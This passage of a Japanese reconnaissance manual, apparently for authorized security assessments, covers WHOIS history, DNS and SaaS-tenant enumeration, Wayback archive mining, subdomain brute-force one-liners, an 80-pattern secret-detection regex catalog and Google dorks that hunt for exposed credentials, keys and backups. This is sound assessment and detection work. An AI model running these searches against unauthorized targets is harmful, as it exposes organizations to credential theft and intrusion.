GDPR 施行前の記録には、非公開化されていない連絡先情報が含まれていることがよくあります。情報源:
| 情報源 | 備考 |
|---|---|
| DomainTools | 有料。業界標準で、WHOIS の履歴をすべて確認できます。 |
| WhoisXML API | 有料。一括検索と履歴に対応しています。 |
| SecurityTrails | 有料。WHOIS と DNS の履歴を確認できます。 |
| viewdns.info | 無料の WHOIS 履歴(制限あり)。 |
| whoisology.com | 有料。登録者のメールアドレスから逆引き WHOIS を検索できます。 |
逆引き WHOIS による調査:
登録者のメールアドレスがわかっている場合は、「このメールアドレスで登録されたすべてのドメイン」を検索します。
# DomainTools (paid)
curl -sk -H "X-API-Username: ..." -H "X-API-Key: ..." \
"https://api.domaintools.com/v1/reverse-whois/[email protected]"
これにより、関連する企業資産(子会社のドメイン、ブランド名のバリエーション、会社のメールアドレスで登録された従業員の個人プロジェクト)が見つかります。
16.22 DNS レコード一覧(TXT 検証トークン、MX から IdP を特定)
対象ドメインごとに、一般的なレコードタイプをすべてダンプします。
D="target.example"
for rtype in A AAAA MX TXT NS SOA CAA SRV CNAME PTR; do
echo "=== ${rtype} ==="
dig +short "${D}" "${rtype}"
done
TXT レコードの検証トークン一覧(各トークンから SaaS のテナントを特定できます):
| TXT パターン | SaaS/サービス | 示唆 |
|---|---|---|
google-site-verification=<token> | Google Workspace / Search Console / Analytics | Google テナンシーです。 |
MS=ms<digits> | Microsoft 365(旧形式) | M365 テナンシーです。 |
apple-domain-verification=<token> | Apple Business Manager / iCloud Calendar | Apple エコシステムです。 |
atlassian-domain-verification=<token> | Atlassian Cloud (Jira/Confluence/etc.) | Atlassian の顧客です。 |
facebook-domain-verification=<token> | Facebook Business / Pixel | FB Business です。 |
adobe-idp-site-verification=<token> | Adobe Sign / Creative Cloud | Adobe の顧客です。 |
docusign=<token> | DocuSign | DocuSign の顧客です。 |
dropbox-domain-verification=<token> | Dropbox Business | Dropbox の顧客です。 |
box-verification=<token> | Box | Box の顧客です。 |
webexdomainverification.<id> | Webex | Cisco Webex です。 |
zoom_verify_<id> | Zoom | Zoom の顧客です(管理者ドメイン)。 |
notion=<token>(まれ) | Notion workspace | Notion のエンタープライズ顧客です。 |
slack-domain-verification=<token> | Slack Enterprise Grid | Slack EG です。 |
asana-domain-verification=<token> | Asana Enterprise | Asana の顧客です。 |
mongodb-site-verification=<token> | MongoDB Atlas | DB テナンシーです。 |
_dnsauth.<token> | 多数の ACME / Let's Encrypt CA | DNS-01 チャレンジが進行中です。 |
pinterest-site-verification=<token> | Pinterest Business | マーケティング領域です。 |
cisco-ci-domain-verification=<token> | Cisco Spark / Webex | Cisco です。 |
_globalsign-domain-verification=<token> | GlobalSign 認証局 | 証明書プロバイダーです。 |
mailru-verification:<token> | Mail.ru | ロシアでの存在を示します。 |
yandex-verification:<token> | Yandex services | ロシアでの存在を示します。 |
zscaler-verification-<id>-<date>-<random> | Zscaler (ZIA / ZPA / ZDX) | Web SSE / SASE の顧客です。日付のサフィックスは検証の発行日です。 |
cloudflare-verify=<token> | Cloudflare (Zero Trust / Access / WARP) | Cloudflare の組織階層の顧客です。 |
autosect-site-verification=<token> | AutoSect (security tooling) | テナントにセキュリティベンダーが存在します。 |
cisco-site-verification=<token> | Cisco (various products) | Cisco ベンダーです。 |
mscid=<token> | Microsoft(新しい M365 検証方式) | M365 テナンシーです(新しい形式)。 |
_amazonses=<token> | AWS SES sender verification | SES 送信者です。 |
salesforce-domain-verification=<token> | Salesforce | SF の顧客です。 |
workday-domain-verification=<token> | Workday | Workday の顧客です(人事+財務)。 |
shopify-domain-verification=<token> | Shopify | E コマースの顧客です。 |
klaviyo-domain-verification=<token> | Klaviyo | マーケティングオートメーションです。 |
mailchimp-domain-verification=<token> | Mailchimp | マーケティングメールです。 |
hubspot-domain-verification=<token> | HubSpot | CRM/マーケティングです。 |
zendesk-verification=<token> | Zendesk | サポートのテナンシーです(§43 も参照)。 |
freshworks-verification=<token> | Freshworks | サポート/CRM の顧客です。 |
intercom-verification=<token> | Intercom | メッセージングのテナンシーです。 |
loom-site-verification=<token> | Loom | ビデオです。 |
miro-site-verification=<token> | Miro | ホワイトボードのテナンシーです。 |
gitlab-domain-verification=<token> | GitLab | セルフホストまたはクラウドの検証です。 |
検出されたテナンシーはそれぞれ独立した攻撃対象領域です(個別の認証情報、MFA の状態、データを持ちます)。
確認としての Autodiscover パターン:
autodiscover.<domain> が Microsoft の IP アドレス範囲(40.96.0.0/13、52.96.0.0/14、13.107.0.0/16)に解決される場合、MX レコードが Mimecast/Proofpoint/Barracuda のインバウンドフィルタリングによって隠されていても、M365 Exchange Online テナンシーの決定的な証拠となります。確認します。
Resolve-DnsName "autodiscover.$D" -Type A | Select Name,IPAddress
IP が Microsoft の範囲内であれば → M365_CONFIRMED。テナント GUID の抽出には getuserrealm.srf(§22.1)と相互参照します。
CAA レコード:
dig +short CAA "${D}"
証明書の発行を許可されている CA を一覧表示します。レコードがない場合=LOW の検出事項(どの CA でも誤発行が可能です)。存在し、制限的なリストが設定されている場合=良好なセキュリティ態勢です。
SOA シリアルパターンの分析:
dig +short SOA "${D}"
シリアル形式 YYYYMMDDNN から最終編集日が分かります。複数のゾーンに見られるパターンから、所有者を相関できます。
16.23 Wayback CDX の高度な使い方
Wayback Machine には、構造化されたクエリ API があります。
基本的な CDX クエリ:
D="target.example"
curl -sk "https://web.archive.org/cdx/search/cdx?url=${D}/*&output=json&fl=timestamp,original&limit=10000"
[timestamp, original_url] タプルの JSON 配列が返されます。
便利なフィルター:
&from=20200101&to=20231231— 日付範囲。&filter=mimetype:application/json— JSON レスポンスのみ(API の場合が多いです)。&filter=mimetype:application/javascript— JS バンドル。&filter=statuscode:200— 成功したキャプチャのみ。&filter=urlkey:.*api.*— 「api」を含む URL のみ。&collapse=urlkey— URL で重複を除去します。&collapse=digest— コンテンツで重複を除去します(再アーカイブされた同一ページを検出します)。
特定のスナップショットを取得:
TS="20231215120000"
URL="https://target.example/admin/dashboard"
curl -sk "https://web.archive.org/web/${TS}/${URL}"
スナップショットとライブページを比較:
LIVE=$(curl -sk -m 10 "${URL}")
ARCHIVED=$(curl -sk -m 10 "https://web.archive.org/web/${TS}/${URL}")
diff <(echo "$LIVE") <(echo "$ARCHIVED") | head -100
現在のページを保存:
curl -sk -X POST "https://pragma.archivelab.org/" \
-H 'Content-Type: application/json' \
-d '{"url":"https://target.example/admin"}'
アーカイブ済みの JS をすべて検索:
curl -sk "https://web.archive.org/cdx/search/cdx?url=${D}/*.js&output=json&fl=timestamp,original&filter=statuscode:200" | \
jq -r '.[1:][] | "\(.[0]) \(.[1])"'
それぞれについて、アーカイブ済みの JS を取得し、シークレットカタログ(§17)を実行します。古い JS には、後に削除されたキーがハードコードされていることがよくあります。
レガシーアプリへの切り替え(*.js の検索結果が空の場合):
静的なパンフレット型サイト(古い企業サイト、特に2015年以前のもの)では、フロントエンドがサーバー側でレンダリングされていたため、アーカイブ済みの JS がまったくないことがよくあります。代わりに、レガシーなファイル拡張子を検索します。
# ASP / ASP.NET classic
curl -sk "https://web.archive.org/cdx/search/cdx?url=${D}/*.asp&output=json&fl=timestamp,original&filter=statuscode:200&collapse=urlkey&limit=500"
# PHP
curl -sk "https://web.archive.org/cdx/search/cdx?url=${D}/*.php&output=json&fl=timestamp,original&filter=statuscode:200&collapse=urlkey&limit=500"
# JSP / .NET aspx / CGI / Coldfusion
for ext in aspx jsp cgi cfm; do
echo "=== .$ext ==="
curl -sk "https://web.archive.org/cdx/search/cdx?url=${D}/*.${ext}&output=json&fl=timestamp,original&filter=statuscode:200&collapse=urlkey&limit=200"
done
# JSON / XML config (sometimes leaks endpoints + creds)
for ext in json xml yml yaml ini conf; do
echo "=== .$ext ==="
curl -sk "https://web.archive.org/cdx/search/cdx?url=${D}/*.${ext}&output=json&fl=timestamp,original&filter=statuscode:200&collapse=urlkey&limit=100"
done
# Anything indexed (broad sweep — useful for legacy enumeration)
curl -sk "https://web.archive.org/cdx/search/cdx?url=${D}/*&output=json&fl=timestamp,original&filter=statuscode:200&collapse=urlkey&limit=10000"
レガシーな .asp / .cfm / .jsp の URL から、忘れられた管理パネル、古いユーザー列挙エンドポイント、レガシーな認証フロー、SQL インジェクションの影響を受けやすいパラメーターが見つかることがあります。現在の DNS と照合してください。多くのレガシーホストは現在 NXDOMAIN ですが、URL パスがホスト名変更後も残っている場合があります。
16.24 共通プレフィックスによるサブドメイン一括調査(アクティブ、検出されにくい)
実地の経験では、パッシブな証明書透明性列挙(crt.sh / VirusTotal / Subfinder)では、価値の高いサブドメインの20~40%が見つかりません。(a)多くの内部ホストではワイルドカード証明書が使われ、FQDN が公開されない、(b)公開証明書が発行されたことのないホストがある(HTTP のみ、または自己署名証明書)、(c)ごく最近プロビジョニングされたホストが、まだ CT ログミラーに反映されていない、といった理由があるためです。
パッシブ列挙とアクティブなプレフィックスプローブを必ず組み合わせてください。 検出可能性は低く、ホストごとに A レコードを1件照会するだけです。ポートスキャンも HTTP 通信も行いません。
検出率の高いプレフィックス一覧(実案件の検出率順):
www, mail, webmail, smtp, imap, pop, owa, autodiscover, ftp, sftp,
vpn, sslvpn, gateway, gp, globalprotect, citrix, fortinet, anyconnect,
api, app, apps, mobile, m,
portal, login, sso, idp, iam, identity, accounts, oauth, auth, adfs,
admin, manage, console, dashboard, cp, cpanel,
intranet, internal, hr, payroll, finance, sap, erp, crm, helpdesk, servicedesk,
support, help, kb, status, monitoring, grafana, kibana, prometheus,
docs, wiki, confluence, jira, bitbucket, gitlab, jenkins, sonar, nexus,
git, svn, repo, code,
dev, test, staging, stg, qa, uat, sandbox, preprod, preview, demo,
careers, jobs, vacancies, recruit, eapps,
shop, store, ecommerce, checkout, payments, pay, billing,
old, legacy, archive, backup, beta, v1, v2, classic,
cdn, static, assets, media, img, files, downloads, public,
ns, ns1, ns2, dns, mx, mx1, mx2,
zoom, teams, slack, lync, sip, voice, meet,
sclepro, tender, tenders, suppliers, vendor, vendors, procurement, purchase
ワンライナー(PowerShell):
$D = "target.example"
$prefixes = @("www","mail","webmail","owa","autodiscover","ftp","vpn","sslvpn","gateway","api","app","portal","login","sso","idp","iam","identity","accounts","oauth","auth","adfs","admin","intranet","hr","sap","erp","crm","support","help","status","grafana","kibana","docs","wiki","jira","jenkins","gitlab","dev","test","staging","stg","qa","uat","sandbox","preprod","preview","careers","jobs","eapps","old","legacy","beta","tender","suppliers","procurement")
foreach ($p in $prefixes) {
$r = Resolve-DnsName "$p.$D" -Type A -ErrorAction SilentlyContinue
if ($r) {
$ips = ($r | ? {$_.IPAddress}).IPAddress -join ","
"$p.$D -> $ips"
}
}
ワンライナー(bash + dig):
D="target.example"
for p in www mail webmail owa autodiscover ftp vpn sslvpn gateway api app portal login sso idp iam identity accounts oauth auth adfs admin intranet hr sap erp crm support help status grafana kibana docs wiki jira jenkins gitlab dev test staging stg qa uat sandbox preprod preview careers jobs eapps old legacy beta tender suppliers procurement; do
IP=$(dig +short A "$p.$D" | head -1)
[ -n "$IP" ] && echo "$p.$D -> $IP"
done
大量のプレフィックス一覧向けの DNS 一括検索:
# Generate candidate FQDNs from a wordlist; resolve in parallel via puredns
puredns resolve <(awk -v d="$D" '{print $1"."d}' assetnote-best-dns-wordlist.txt) -r resolvers.txt
各ヒットから抽出する情報:
- IP / IP ブロック → ASN ルックアップ(§28.1)→ 対象所有か、外部ホスティングかを確認します。
vpn.*/gateway.*/gp.*/globalprotect.*/citrix.*の場合 → 別のエンゲージメントスコープで、アクティブなベンダーフィンガープリント(§16.16)の対象としてフラグを立てます。api.*/app.*の場合 → §16.1~16.10 のウェブアプリプローブの起点にします。staging.*/dev.*/uat.*の場合 → §16.5 の常時稼働 HTTP チェックの起点にします(認証が弱く、デバッグエンドポイントがあることがよくあります)。intranet.*/eapps.*/sclepro.*の場合 → パブリックなイントラネットの脆弱性として報告します(多くの場合 MEDIUM。§40 を参照)。
実案件での検証: 内部のスモークテストでは、プレフィックスの一括調査で vpn.、api.、intranet.、staging.、support.、eapps.、sclepro.、autodiscover. が見つかりました。これらはいずれも crt.sh では見つからなかった(または 502 が返された)ものです。パッシブとアクティブは、代替手段ではなく相補的な手法として扱ってください。
17. シークレットパターンカタログ — 80パターン(基本29 + 最新19 + プロバイダー拡張32)
このカタログは、あらゆるテキストソースを対象に実行できます。GitHub のコード、Postman ワークスペース、JS 本文、sourcesContent ブロブ、モバイルアプリの文字列、Wayback の HTML、ペーストサイト、Stack Exchange のコードブロックが含まれます。順序が重要です。 汎用パターンが型付きパターンに先回りしないよう、最も具体的なパターンを先にします。
| # | 名前 | 正規表現 | 重要度 | カテゴリ |
|---|---|---|---|---|
| 1 | AWS アクセスキー | \b(AKIA|ASIA)[0-9A-Z]{16}\b | CRITICAL | aws |
| 2 | AWS シークレットキー(型指定) | (?i)aws[_\-]?secret[_\-]?access[_\-]?key['"\s:=]+([A-Za-z0-9/+=]{40}) | CRITICAL | aws |
| 3 | AWS シークレット(緩いパターン) | (?i)aws(.{0,20})?(secret|sk)["'=: ]+([0-9a-z/+=]{40}) | HIGH | aws |
| 4 | GCP サービスアカウント JSON | "type"\s*:\s*"service_account" | CRITICAL | gcp |
| 5 | Google API キー | \bAIza[0-9A-Za-z_\-]{35}\b | HIGH | gcp |
| 6 | GitHub クラシック PAT | \bghp_[A-Za-z0-9]{36}\b | CRITICAL | github |
| 7 | GitHub ファイングレイン PAT | \bgithub_pat_[A-Za-z0-9_]{82}\b | CRITICAL | github |
| 8 | GitHub OAuth | \bgho_[A-Za-z0-9]{36}\b | HIGH | github |
| 9 | GitHub サーバー間認証 | \bgh[usr]_[A-Za-z0-9]{36,}\b | HIGH | github |
| 10 | Stripe ライブキー | \bsk_live_[0-9A-Za-z]{24,}\b | CRITICAL | stripe |
| 11 | Stripe テストキー | \bsk_test_[0-9A-Za-z]{24,}\b | LOW | stripe |
| 12 | Slack トークン | \bxox[abpors]-[0-9A-Za-z\-]{10,48}\b | HIGH | slack |
| 13 | Slack Webhook | https://hooks\.slack\.com/services/T[A-Z0-9]+/B[A-Z0-9]+/[A-Za-z0-9]+ | MEDIUM | slack |
| 14 | SendGrid キー | \bSG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}\b | HIGH | email_svc |
| 15 | Mailgun キー(v1) | \bkey-[0-9a-zA-Z]{32}\b | HIGH | email_svc |
| 16 | Mailgun キー(緩いパターン) | \bkey-[0-9a-f]{32}\b | HIGH | email_svc |
| 17 | Twilio API キー | \bSK[0-9a-fA-F]{32}\b | HIGH | twilio |
| 18 | Twilio アカウント SID | \bAC[a-f0-9]{32}\b | MEDIUM | twilio |
| 19 | Twilio 認証トークン | (?i)twilio(.{0,20})?(auth|token)["'=: ]+([a-f0-9]{32}) | HIGH | twilio |
| 20 | Heroku API キー | (?i)heroku(.{0,20})?api["'=: ]+([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}) | MEDIUM | paas |
| 21 | Firebase URL | \bhttps?://[a-z0-9\-]+\.firebaseio\.com\b | LOW | firebase |
| 22 | JWT(任意) | \beyJ[A-Za-z0-9_\-]{10,}\.eyJ[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}\b | MEDIUM | jwt |
| 23 | Bearer トークンの割り当て | (?i)authorization["'=: ]+bearer\s+[A-Za-z0-9._\-]{20,} | MEDIUM | bearer |
| 24 | URL 内の Basic 認証 | https?://[^/\s:@]+:[^/\s:@]+@[^/\s]+ | MEDIUM | basic_auth |
| 25 | RSA 秘密鍵 | -----BEGIN RSA PRIVATE KEY----- | CRITICAL | private_key |
| 26 | EC 秘密鍵 | -----BEGIN EC PRIVATE KEY----- | CRITICAL | private_key |
| 27 | OpenSSH 秘密鍵 | -----BEGIN OPENSSH PRIVATE KEY----- | CRITICAL | private_key |
| 28 | 汎用秘密鍵 | -----BEGIN (DSA |PGP |)PRIVATE KEY----- | CRITICAL | private_key |
| 29 | 汎用 API キー | (?i)(?:api[_\-]?key|apikey|api_secret|access_token|secret[_\-]?token)['"\s:=]+["']([A-Za-z0-9+/=_\-]{24,})["'] | MEDIUM | generic |
| 30 | Anthropic API キー | \bsk-ant-(?:api03|admin01)-[A-Za-z0-9_\-]{93,}\b | CRITICAL | ai_api |
| 31 | OpenAI API キー(レガシー) | \bsk-[A-Za-z0-9]{20}T3BlbkFJ[A-Za-z0-9]{20}\b | CRITICAL | ai_api |
| 32 | OpenAI プロジェクトキー | \bsk-proj-[A-Za-z0-9_\-]{40,}T3BlbkFJ[A-Za-z0-9_\-]{40,}\b | CRITICAL | ai_api |
| 33 | OpenAI ユーザーセッション | \bsess-[A-Za-z0-9]{40}\b | HIGH | ai_api |
| 34 | HuggingFace トークン | \bhf_[A-Za-z0-9]{30,}\b | HIGH | ai_api |
| 35 | Cloudflare API トークン | \b[A-Za-z0-9_\-]{40}\b((?i)cloudflare/X-Auth-Key のコンテキストと組み合わせて検出) | HIGH | infra_api |
| 36 | Cloudflare グローバル API キー | (?i)cf[_\-]?api[_\-]?key['"\s:=]+([a-f0-9]{37}) | CRITICAL | infra_api |
| 37 | DigitalOcean トークン | \bdop_v1_[a-f0-9]{64}\b | HIGH | infra_api |
| 38 | npm トークン(最新形式) | \bnpm_[A-Za-z0-9]{36}\b | HIGH | package_registry |
| 39 | PyPI トークン | \bpypi-AgENdGV[A-Za-z0-9_\-]+\b | HIGH | package_registry |
| 40 | Docker Hub PAT | \bdckr_pat_[A-Za-z0-9_\-]{27,}\b | HIGH | package_registry |
| 41 | Atlassian API トークン | \bATATT3xFfGF0[A-Za-z0-9_\-]{180,}\b | HIGH | saas_api |
| 42 | New Relic ライセンスキー | \b(?:NRAA|NRAK|NRBR)-[A-F0-9]{27}\b | MEDIUM | observability |
| 43 | DataDog API キー(DD_API_KEY のコンテキスト内) | (?i)dd[_\-]?api[_\-]?key['"\s:=]+([a-f0-9]{32}) | HIGH | observability |
| 44 | Sentry DSN | https://[a-f0-9]+@o[0-9]+\.ingest\.sentry\.io/[0-9]+ | LOW | observability |
| 45 | ngrok 認証トークン | \b[12][A-Za-z0-9]{26}_[A-Za-z0-9]{32,}\b((?i)ngrok のコンテキスト内) | MEDIUM | tunneling |
| 46 | Linear API キー | \blin_api_[A-Za-z0-9]{40}\b | MEDIUM | saas_api |
| 47 | Discord ボットトークン | \b[MN][A-Za-z\d]{23}\.[\w\-]{6}\.[\w\-]{27}\b | HIGH | bot_token |
| 48 | Telegram ボットトークン | \b\d{8,10}:[A-Za-z0-9_\-]{35}\b | HIGH | bot_token |
プロバイダーの拡充(v2.2、#49~80)。 行49(Postman PMAK)は、参照実装の modules/secrets_beyond_github.py::_RE_PMAK を直接根拠としています。これは実際の欠落でした。§23.1ではPMAK バリデーターがすでに説明されていますが、カタログには検出用正規表現が含まれていなかったためです。行50~80では、行1~48で対象になっていないプロバイダーについて、よく知られた特徴的なプレフィックスを持つ形式、またはコンテキストに基づいて検出するトークン形式を追加し、同じ信頼性基準を適用しています。ベンダー独自のプレフィックスが十分に特徴的で衝突しない場合に限り、単独で検出します(glpat-、sq0atp-、shpat_、dapi、.atlasv1.、GOCSPX-、ya29.、EAA、rubygems_、AKCp、SSWS 、xapp-1-、sl.、dp.pt.、hvs.、AAAA…:)。ベンダー独自のトークンに固定形式がない場合は、§17 #35のCloudflareのアプローチに倣い、すべてコンテキストに基づいて検出します(PagerDuty、Asana、Fastly、Algolia、Segment、従来のAirtableキー、Azure/Entraのクライアントシークレット、Oktaの汎用トークン)。 | ||||
| # | 名前 | 正規表現 | 重大度 | カテゴリ |
| --- | --- | --- | --- | --- |
| 49 | Postman API キー(PMAK) | \bPMAK-[A-Za-z0-9]{24,64}\b | CRITICAL | postman |
| 50 | GitLab 個人アクセストークン | \bglpat-[A-Za-z0-9_\-]{20}\b | HIGH | gitlab |
| 51 | Square アクセストークン | \bsq0atp-[0-9A-Za-z\-_]{22}\b | CRITICAL | square |
| 52 | Square OAuth シークレット | \bsq0csp-[0-9A-Za-z\-_]{43}\b | HIGH | square |
| 53 | Shopify アクセストークン | \bshpat_[a-fA-F0-9]{32}\b | HIGH | shopify |
| 54 | Shopify 共有シークレット | \bshpss_[a-fA-F0-9]{32}\b | HIGH | shopify |
| 55 | Mailchimp API キー | \b[0-9a-f]{32}-us[0-9]{1,2}\b | HIGH | email_svc |
| 56 | PagerDuty API キー | (?i)pagerduty(.{0,20})?(api|token|key)['"\s:=]+([A-Za-z0-9+_\-]{20,32}) | MEDIUM | saas_api |
| 57 | Asana 個人アクセストークン | (?i)asana(.{0,20})?(token|pat)['"\s:=]+([0-9]{1,10}/[0-9]{10,20}:[a-f0-9]{32}) | MEDIUM | saas_api |
| 58 | Databricks 個人アクセストークン | \bdapi[0-9a-f]{32}(?:-\d)?\b | HIGH | saas_api |
| 59 | Grafana API キー(レガシー) | \beyJrIjoi[A-Za-z0-9+/=]{40,}\b | MEDIUM | observability |
| 60 | Grafana Cloud アクセスポリシートークン | \bglc_[A-Za-z0-9+/]{32,}={0,2}\b | MEDIUM | observability |
| 61 | Terraform Cloud/Enterprise トークン | \b[A-Za-z0-9]{14}\.atlasv1\.[A-Za-z0-9_\-=]{60,70}\b | CRITICAL | infra_api |
| 62 | Fastly API トークン | (?i)fastly(.{0,20})?(api|token)['"\s:=]+([A-Za-z0-9_\-]{32}) | HIGH | infra_api |
| 63 | Algolia 管理者 API キー | (?i)algolia(.{0,20})?(admin|api)[_\-]?key['"\s:=]+([A-Za-z0-9]{32}) | HIGH | saas_api |
| 64 | Segment 書き込みキー | (?i)segment(.{0,20})?(write)?[_\-]?key['"\s:=]+([A-Za-z0-9]{20,32}) | LOW | saas_api |
| 65 | Airtable API キー(レガシー) | (?i)airtable(.{0,20})?(api)?[_\-]?key['"\s:=]+(key[A-Za-z0-9]{14}) | MEDIUM | saas_api |
| 66 | Airtable 個人アクセストークン | \bpat[A-Za-z0-9]{14}\.[a-f0-9]{64}\b | HIGH | saas_api |
| 67 | GCP OAuth クライアントシークレット | \bGOCSPX-[A-Za-z0-9_\-]{28}\b | HIGH | gcp |
| 68 | Google OAuth アクセストークン | \bya29\.[0-9A-Za-z_\-]{20,}\b | HIGH | gcp |
| 69 | Google OAuth クライアント ID | \b[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com\b | LOW | gcp |
| 70 | Azure AD / Entra クライアントシークレット | (?i)(?:azure|entra)[_\-]?(?:client|app)[_\-]?secret['"\s:=]+([A-Za-z0-9_~.\-]{34,40}) | HIGH | azure |
| 71 | Facebook Graph API アクセストークン | \bEAA[A-Za-z0-9]{90,}\b | HIGH | oauth |
| 72 | RubyGems API キー | \brubygems_[a-f0-9]{48}\b | HIGH | package_registry |
| 73 | JFrog Artifactory API キー | \bAKCp[A-Za-z0-9]{50,70}\b | HIGH | infra_api |
| 74 | Okta SSWS トークン | \bSSWS\s+[0-9a-zA-Z_\-]{40}\b | CRITICAL | identity |
| 75 | Okta API トークン | (?i)okta(.{0,20})?(api)?[_\-]?token['"\s:=]+([0-9a-zA-Z_\-]{40}) | HIGH | identity |
| 76 | Slack アプリレベルトークン | \bxapp-1-[A-Za-z0-9\-]{20,}\b | HIGH | slack |
| 77 | Dropbox 短期トークン | \bsl\.[A-Za-z0-9_\-]{130,140}\b | MEDIUM | oauth |
| 78 | Doppler 個人トークン | \bdp\.pt\.[A-Za-z0-9]{40,44}\b | CRITICAL | secrets_mgmt |
| 79 | HashiCorp Vault トークン | \bhvs\.[A-Za-z0-9_\-]{90,100}\b | CRITICAL | secrets_mgmt |
| 80 | Firebase Cloud Messaging サーバーキー(レガシー) | \bAAAA[A-Za-z0-9_\-]{7}:[A-Za-z0-9_\-]{140,}\b | HIGH | firebase |
誤検知に関する注意事項:
- パターン 22(JWT)、23(Bearer)、29(Generic)は、テスト/サンプルデータに頻繁に反応します。必ずコンテキストを確認してください。
README.mdのサンプルブロック内にある JWT は、本番環境の.envファイル内にある JWT とは異なります。 - パターン 16(Mailgun loose)とパターン 11(Stripe test)は、意図的にノイズが多くなるよう設計されています。そのため、重大度は低く設定されています。
- パターン 24(URL 内の Basic 認証)は、実際の認証情報だけでなく、監視ツールの URL や CI のデバッグ用 URL も検出します。アラートを出す前に確認してください。
- GitHub の Fine-grained PAT(パターン 7)では、
82という長さは GitHub の仕様によるものです。これより大幅に長い、または短い検出結果には注意してください。 - パターン 56(PagerDuty)、57(Asana)、62(Fastly)、63(Algolia)、64(Segment)、65(Airtable legacy)、70(Azure/Entra)、75(Okta generic)は、ベンダーのトークン自体に固定の形式がないため、コンテキストに基づいて検出します。パターン 35(Cloudflare)と同様の注意が必要です。検出結果は「同じ行にプロバイダー名とキー形式の値がある」ことを示すものであり、暗号学的に固有の一致ではありません。エスカレーションする前に確認してください。
- パターン 59(Grafana legacy)と 60(Grafana Cloud)は、Cloud 形式の URL でも
eyJrIjoi…形式のトークンを発行する古いセルフホストインスタンスでは、同じキーに対して両方が反応する場合があります。2 件ではなく、1 件の検出結果として扱ってください。 - パターン 69(Google OAuth Client ID)は、意図的に重大度が低く設定されています。OAuth の仕様上、クライアント ID は秘密情報ではなく公開識別子であるため、検出されるのは設定/テナント情報の漏えいであり、認証情報の漏えいではありません。対応するクライアントシークレット(パターン 67)またはリフレッシュトークンがない限り、エスカレーションしないでください。
- パターン 80(FCM Server Key)によって可能になるのは、アプリのインストール済みインスタンスすべてへのプッシュ通知の注入(フィッシング/マルウェアの大規模なプッシュ)であり、データの読み取りではありません。通常このパターンが見つかるモバイルの静的解析のコンテキストについては、§21.1 と照合してください。
18. Dork コーパス — 9 カテゴリーにわたる 80 以上のテンプレート
{domain}を対象のドメイン(例:example.com)に、{company}を会社名(例:Acme Corporation)に置き換えます。Google、Bing、Brave、DuckDuckGo、Yandex、Baidu で実行してください。検索エンジンによって、表示される結果は異なります。
18.1 ファイル
site:{domain} filetype:env
site:{domain} ext:env OR ext:ini OR ext:cfg OR ext:conf
site:{domain} ext:sql OR ext:sqlite OR ext:dump OR ext:bak
site:{domain} ext:pem OR ext:key OR ext:p12 OR ext:pfx
site:{domain} ext:log
site:{domain} intitle:"index of"
site:{domain} inurl:.git OR inurl:/.git/
site:{domain} inurl:backup OR inurl:.bak OR inurl:old
site:{domain} ext:yml OR ext:yaml
site:{domain} ext:properties
18.2 管理/ログインパネル
site:{domain} inurl:admin OR inurl:login OR inurl:sso OR inurl:dashboard
site:{domain} intitle:"phpMyAdmin"
site:{domain} intitle:"Jenkins"
site:{domain} intitle:"Grafana"
site:{domain} intitle:"Kibana"
site:{domain} intitle:"Splunk"
site:{domain} (intitle:"login" OR intitle:"sign in")
site:{domain} intitle:"GitLab"
site:{domain} intitle:"Swagger" OR intitle:"OpenAPI"
site:{domain} inurl:phpinfo
18.3 シークレット/認証情報の漏えい
"{domain}" ("api_key" OR "apikey" OR "access_token")
"{domain}" (password OR passwd OR pwd)
site:pastebin.com "{domain}"
site:ghostbin.com "{domain}"
site:rentry.co "{domain}"
site:gist.github.com "{domain}"
site:hastebin.com "{domain}"
"{domain}" "BEGIN RSA PRIVATE KEY"
18.4 クラウド/CI/シャドー IT
site:s3.amazonaws.com "{domain}"
site:storage.googleapis.com "{domain}"
site:blob.core.windows.net "{domain}"
site:digitaloceanspaces.com "{domain}"
site:trello.com "{domain}"
site:*.atlassian.net "{domain}"
site:dev.azure.com "{domain}"
site:bitbucket.org "{domain}"
site:firebaseio.com "{domain}"
site:herokuapp.com "{domain}"
18.5 ドキュメント/情報の調査
site:{domain} filetype:pdf (confidential OR internal OR restricted)
site:{domain} filetype:xlsx OR filetype:csv
site:{domain} filetype:docx
site:scribd.com "{company}"
"{company}" filetype:pdf (salary OR payroll OR org-chart OR "organization chart")
site:linkedin.com/in "{company}"
site:slideshare.net "{company}"
18.6 脆弱性の兆候
site:{domain} intext:"sql syntax" OR intext:"you have an error in your sql"
site:{domain} intext:"Warning: mysql_"
site:{domain} intext:"Fatal error:" intext:"on line"
site:{domain} intext:"stack trace" OR intext:"Traceback (most recent call last)"
"Apache/2.4.49" site:{domain}
"Server: nginx/1.14" site:{domain}
site:{domain} inurl:wp-content OR inurl:wp-includes
18.7 内部ツールの公開
site:{domain} intitle:"Splunk"
site:{domain} intitle:"Grafana"
site:{domain} intitle:"Kibana"
site:{domain} intitle:"Prometheus Time Series"
site:{domain} intitle:"Jaeger UI"
site:{domain} intitle:"AlertManager"
site:{domain} intitle:"Argo CD"
site:{domain} intitle:"Sonarqube"
site:{domain} intitle:"Sentry"
site:{domain} intitle:"Confluence"
site:{domain} intitle:"Jira"
site:{domain} intitle:"GitLab"
site:{domain} intitle:"Gitea"
site:{domain} intitle:"Drone CI"
site:{domain} inurl:"/jenkins/"
18.8 バックアップ/ダンプファイルの拡張子
site:{domain} ext:bak OR ext:backup OR ext:old OR ext:orig OR ext:save OR ext:swp
site:{domain} ext:tar OR ext:tar.gz OR ext:tgz OR ext:zip OR ext:rar OR ext:7z
site:{domain} ext:db OR ext:sqlite OR ext:sqlite3 OR ext:mdb
site:{domain} ext:dump OR ext:rdb OR ext:bson
site:{domain} (intext:"-- MySQL dump" OR intext:"PostgreSQL database dump")
site:{domain} ext:pcap OR ext:pcapng OR ext:cap
site:{domain} ext:core OR ext:hprof OR ext:dmp
18.9 セクター別(医療/金融/政府)
# Healthcare
site:{domain} (filetype:pdf OR filetype:xlsx) (HIPAA OR PHI OR "patient records")
site:{domain} ("DICOM" OR "HL7" OR "ICD-10")
# Finance
site:{domain} (filetype:pdf OR filetype:xlsx) (SOC OR "audit report" OR "internal control")
site:{domain} (filetype:pdf OR filetype:xlsx) ("Form 10-K" OR "Form 10-Q" OR earnings)
